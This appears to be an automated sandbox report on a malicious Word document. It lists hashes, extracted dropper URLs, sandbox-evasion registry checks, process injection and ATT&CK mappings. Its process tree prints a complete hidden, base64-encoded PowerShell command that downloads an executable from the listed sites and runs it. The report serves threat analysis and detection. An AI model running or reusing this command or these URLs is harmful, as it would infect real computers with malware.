739add20d743a8d00b6fc26c0e0985b6876748fe5fee82b81c62b49cb151f571

General

Target

ebdde483075c4e4989d66aa8d905204a_JaffaCakes118.doc
Size

127KB
MD5

ebdde483075c4e4989d66aa8d905204a
SHA1

8dbdc9875fce1de0bd61ce33a10b4a3d14bd8e31
SHA256

739add20d743a8d00b6fc26c0e0985b6876748fe5fee82b81c62b49cb151f571
SHA512

2511b413f089d4c9805d42f6290df49000d850e1ee4d1bada66b8fa93a53ebceb4befc1d5a05504ed1d47b59e823f3a9cbe3850588303ac005369e13d89409f4
SSDEEP

3072:h77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qUYxsEDhSeVJlY9uX:h77HUUUUUUUUUUUUUUUUUUUT52VDWSeB

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://overcreative.com/css/shecgesia_cjtf7s6-2586658720/

exe.dropper

http://antonresidential.com/wkdrlk/papkaa17/NujUJetNy/

exe.dropper

http://gawaher-services.com/nngb24y/vXGApWUwd/

exe.dropper

http://thepropertydealerz.com/cgi-bin/5ze7vs_tgt6e3k-5/

exe.dropper

http://guimaraesconstrutorasjc.com.br/wp-content/NTlTZtAUB/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3968	5040	powershell.exe

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

24 3968 powershell.exe
27 3968 powershell.exe
28 3968 powershell.exe
34 3968 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3968 powershell.exe

flow	pid	process
24	3968	powershell.exe
27	3968	powershell.exe
28	3968	powershell.exe
34	3968	powershell.exe

pid	process
3968	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3600 WINWORD.EXE
3600 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3968 powershell.exe
3968 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3968 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3600 WINWORD.EXE
3600 WINWORD.EXE
3600 WINWORD.EXE
3600 WINWORD.EXE
3600 WINWORD.EXE
3600 WINWORD.EXE
3600 WINWORD.EXE

pid	process
3600	WINWORD.EXE
3600	WINWORD.EXE

pid	process
3968	powershell.exe
3968	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3968	powershell.exe

pid	process
3600	WINWORD.EXE
3600	WINWORD.EXE
3600	WINWORD.EXE
3600	WINWORD.EXE
3600	WINWORD.EXE
3600	WINWORD.EXE
3600	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 3600 wrote to memory of 2888	3600	WINWORD.EXE	splwow64.exe
PID 3600 wrote to memory of 2888	3600	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ebdde483075c4e4989d66aa8d905204a_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3600

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e JABOAF8ANABfADAANQA3AF8APQAnAHUAMAAyAF8AOQAwACcAOwAkAFUAOQA2ADQAOQAxADcAXwAgAD0AIAAnADcANwAwACcAOwAkAHcAMwA1ADYAXwA3AD0AJwBWADEAMQAyADYAMgA5ACcAOwAkAHMANgA5ADgAMQBfADEAMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVQA5ADYANAA5ADEANwBfACsAJwAuAGUAeABlACcAOwAkAEwAOQAwADcANAAxADQAXwA9ACcAaAA3ADcAMAAzADEAOAAnADsAJABtADAAMQA0ADkAOQAwAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdABgAC4AVwBgAEUAQgBDAGwASQBlAGAATgB0ADsAJABhADMANAAwADMANwA5AD0AJwBoAHQAdABwAHMAOgAvAC8AbwB2AGUAcgBjAHIAZQBhAHQAaQB2AGUALgBjAG8AbQAvAGMAcwBzAC8AcwBoAGUAYwBnAGUAcwBpAGEAXwBjAGoAdABmADcAcwA2AC0AMgA1ADgANgA2ADUAOAA3ADIAMAAvAEAAaAB0AHQAcAA6AC8ALwBhAG4AdABvAG4AcgBlAHMAaQBkAGUAbgB0AGkAYQBsAC4AYwBvAG0ALwB3AGsAZAByAGwAawAvAHAAYQBwAGsAYQBhADEANwAvAE4AdQBqAFUASgBlAHQATgB5AC8AQABoAHQAdABwADoALwAvAGcAYQB3AGEAaABlAHIALQBzAGUAcgB2AGkAYwBlAHMALgBjAG8AbQAvAG4AbgBnAGIAMgA0AHkALwB2AFgARwBBAHAAVwBVAHcAZAAvAEAAaAB0AHQAcAA6AC8ALwB0AGgAZQBwAHIAbwBwAGUAcgB0AHkAZABlAGEAbABlAHIAegAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADUAegBlADcAdgBzAF8AdABnAHQANgBlADMAawAtADUALwBAAGgAdAB0AHAAOgAvAC8AZwB1AGkAbQBhAHIAYQBlAHMAYwBvAG4AcwB0AHIAdQB0AG8AcgBhAHMAagBjAC4AYwBvAG0ALgBiAHIALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ATgBUAGwAVABaAHQAQQBVAEIALwAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAcwA1ADQANAAyAF8AMwA9ACcASAA1ADgANQAzADAANwBfACcAOwBmAG8AcgBlAGEAYwBoACgAJABaADEAOQA5ADEAOQA1AF8AIABpAG4AIAAkAGEAMwA0ADAAMwA3ADkAKQB7AHQAcgB5AHsAJABtADAAMQA0ADkAOQAwAC4ARABvAFcATgBsAG8AYQBkAEYAaQBsAGUAKAAkAFoAMQA5ADkAMQA5ADUAXwAsACAAJABzADYAOQA4ADEAXwAxADIAKQA7ACQAagAzADEANwBfADEAMQAwAD0AJwBxADIAOQA0ADIAMAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAHMANgA5ADgAMQBfADEAMgApAC4AbABlAG4ARwBUAEgAIAAtAGcAZQAgADIAOQAyADIAOAApACAAewAmACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABzADYAOQA4ADEAXwAxADIAOwAkAGoAOAAyADEANgA5ADcAPQAnAFYAOAAzADMANQAxACcAOwBiAHIAZQBhAGsAOwAkAG4AMAA1ADQAMgAxADUAPQAnAEMAOAA1ADQANAA1ADkANwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABhADMANwA5ADUAMgA9ACcASgAwADcAOQA5ADEAOAAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\C38FE24C.wmf

Filesize
444B

MD5
96e05424fa92b28eb38724c9a39a29a2

SHA1
d3ed4c3d51df9034a4a1d4a6398e8440a2c8adaf

SHA256
4902da1372d12db683f98bab995d59413babbdabf935960fd8e03ded80791a1a

SHA512
8077345a522fd1a60c7e414ad25316d230bbe294f342206766ab3cb7c2480ca4c754948458fdd74508ccfb7033c741d696ffee0c35a55c6d59411a9668b31a65

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDCA86.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zizf4ybj.kgz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
7d64063bae2a0f14d6aa9a3e09326dc6

SHA1
aff5fe5e58d72d46e3e93e1fdd04cf0beb882cee

SHA256
8dfead394085003064bc830de605f2c853ec4b9d8eaa8ce5ff88a7041ba85843

SHA512
b9f465c4be448a60786b3882d5bc27c9e6232b939a916fcb92562c1fce4b942dc3e927ae81af941c00767415f61b7c8c450bca0fe213a1f0fb976aad80291bce

Download Submit
memory/3600-8-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-5-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/3600-10-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-13-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-12-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-11-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-15-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-16-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-18-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-17-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-19-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-14-0x00007FF863010000-0x00007FF863020000-memory.dmp

Filesize
64KB

Download
memory/3600-1-0x00007FF8A52CD000-0x00007FF8A52CE000-memory.dmp

Filesize
4KB

Download
memory/3600-7-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-6-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-9-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-20-0x00007FF863010000-0x00007FF863020000-memory.dmp

Filesize
64KB

Download
memory/3600-4-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/3600-592-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-2-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/3600-73-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-74-0x00007FF8A52CD000-0x00007FF8A52CE000-memory.dmp

Filesize
4KB

Download
memory/3600-75-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-76-0x00007FF8A5230000-0x00007FF8A5425000-memory.dmp

Filesize
2.0MB

Download
memory/3600-3-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/3600-0-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/3600-589-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/3600-590-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/3600-591-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/3600-588-0x00007FF8652B0000-0x00007FF8652C0000-memory.dmp

Filesize
64KB

Download
memory/3968-55-0x000002040FDA0000-0x000002040FDC2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads